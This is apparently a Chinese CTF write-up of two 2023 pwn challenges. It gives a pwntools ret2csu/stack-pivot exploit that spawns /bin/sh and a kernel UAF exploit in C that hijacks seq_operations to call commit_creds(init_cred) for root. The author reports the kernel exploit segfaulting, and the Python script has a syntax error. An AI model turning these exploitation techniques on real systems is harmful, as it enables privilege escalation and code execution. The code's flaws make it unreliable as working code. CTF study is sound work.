2023 极客巅峰线上

linkmap

考点: 栈溢出+ret2csu+栈迁移

保护: 开了 Full RELRO 和 NX, 所以这里不能打 ret2dl

2023 极客巅峰线上_第1张图片

题目给了一些有用的函数:

2023 极客巅峰线上_第2张图片

在这个函数中, 我们可以把一个地址的数据存放到 BSS 段上.

漏洞利用

可以把一个 libc 地址比如 read@got 读取到 bss 上, 然后在修改其为 syscall. 后面就是栈迁移然后打 ret2syscall. 其中 rdx/rsi/rdi 通过 csu 都是可以控制的, 但是 rax 没有办法直接控制, 这里采用的方式是利用 read 函数的返回值去构造 rax = 0x3b. 

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

#gdb.attach(io, 'b *0x000000000040076D')

pop_rdi = 0x00000000004007e3 # pop rdi ; ret
pop_rsi_r15 = 0x00000000004007e1 # pop rsi ; pop r15 ; ret
csu_f = 0x00000000004007DA
csu_e = 0x00000000004007C0
magic_func = 0x0000000000400606
read_got = 0x0000000000600FD8
leave_ret = 0x0000000000400712 # leave ; ret
call_read = 0x000000000040075E

def csu(call_func, rdi, rsi, rdx, ret_addr, rbp=0, flag=True):
        pay  = p64(0) + p64(1)
        pay += p64(call_func) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_e)
        pay += p64(0)*2 + p64(rbp) + p64(0)*4
        if flag:
                pay += p64(ret_addr)
        return pay

stack = 0x601050
pay = b'A'*0x10 + p64(0) + p64(csu_f) + csu(read_got, 0, stack, 0x100, leave_ret, stack-0x8)
info("pay len", len(pay))
sleep(0.1)
sd(pay)

pay  = p64(pop_rdi) + p64(read_got) + p64(pop_rsi_r15) + p64(1)*2 + p64(magic_func)
pay += p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8, 0x300, pop_rsi_r15, 0x601010) + p64(0x601020-0x8) + p64(0) + p64)
#pause()
sleep(0.1)
sd(pay)

#pause()
sleep(0.1)
sd(b'\xd0')

#pause()
# ==========
# 这个 pay 也行
#pay  = p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8+0x8, 0x3b, pop_rsi_r15, 0, False)
#pay += p64(csu_f) + csu(0x601028+0x100*8, 0x601028+0x100*8+0x8, 0, 0, 0)
# ==========
# 利用 read 函数构造 rax = 0x3b
pay  = p64(csu_f) + p64(0) + p64(1)
pay += p64(read_got) + p64(0x3b) + p64(0x601028+0x100*8+8) + p64(0) + p64(csu_e)
pay += p64(0)*2 + p64(1)
pay += p64(0x601028+0x100*8) + p64(0)*2 + p64(0x601028+0x100*8+8) + p64(csu_e)
info("pay len", len(pay))
sleep(0.1)
sd(pay)

#pause()
sleep(0.1)
sd(b'/bin/sh'.ljust(0x3b, b'\x00'))

#debug()
sh()

msg_msg

吐槽: 真是了, 一样的 exp, 我的打不通, 拿网上的妙通. 什么鬼啊, 操, 害我调了一下午, 4个多小时.

在非预期下算是一道入门题, 题目给了源码, 跟 babydriver 一样 close 时没有将指针置空导致 UAF.

2023 极客巅峰线上_第3张图片

UAF 堆块的大小为 0x32, 所以这里直接选择劫持 seq_operations, 最后打 pt_regs:) 难道pt_regs设置了偏移??? 但是拿网上的脚本没问题啊, 下面是我写的, 一直报段错误, 醉了.

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

#define MMSG_ALLOC 0x1111111
#define MMSG_COPY 0x2222222
#define MMSG_RECV 0x3333333
#define MMSG_UPDATE 0x4444444
#define MMSG_PUT_DESC 0x5555555
#define MMSG_GET_DESC 0x6666666

struct mmsg_arg {
        unsigned long token;
        int top;
        int size;
        char *data;
};

void set_desc(int fd, char* buf)
{
        struct mmsg_arg arg = { .data = buf };
        ioctl(fd, MMSG_PUT_DESC, &arg);
}

void get_desc(int fd, char* buf)
{
        struct mmsg_arg arg = { .data = buf };
        ioctl(fd, MMSG_GET_DESC, &arg);
}

size_t kernel_offset;
static size_t pop_rdi = 0xffffffff8144a9cd;
static size_t init_cred = 0xffffffff8264c9a0;
static size_t commit_creds = 0xffffffff8108d350;
static size_t add_rsp = 0xFFFFFFFF81909B8C;
static size_t swapgs_kpti = 0xFFFFFFFF81C00E54;
int main(int argc, char** argv, char** env)
{
        char buf[0x100] = { 0 };
        int fd[2];
        for (int i = 0; i < 2; i++)
        {
                fd[i] = open("/dev/mmsg", O_RDWR);
                if (fd[i] < 0) err_exit("FAILED ot open dev file");
        }
        close(fd[0]);

        int seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("FAILED to open seq file");

        get_desc(fd[1], buf);
        binary_dump("Leak data", buf, 0x20);
        kernel_offset = *(uint64_t*)buf - 0xffffffff8120fac0;
        hexx("kernel_offset", kernel_offset);

        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        add_rsp += kernel_offset;
        swapgs_kpti += kernel_offset;

        *(uint64_t*)buf = add_rsp;
        binary_dump("Write data", buf, 0x20);
        set_desc(fd[1], buf);
        __asm__(
        "mov r14, pop_rdi;"
        "mov r13, init_cred;"
        "mov r12, commit_creds;"
        "mov rbp, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");
        return 0;
}

效果如下: 不想搞了, 跟 babydriver 一样的, 别人能通, 我不行, 哎, 浪费4个小时

2023 极客巅峰线上_第4张图片

你可能感兴趣的:(pwn)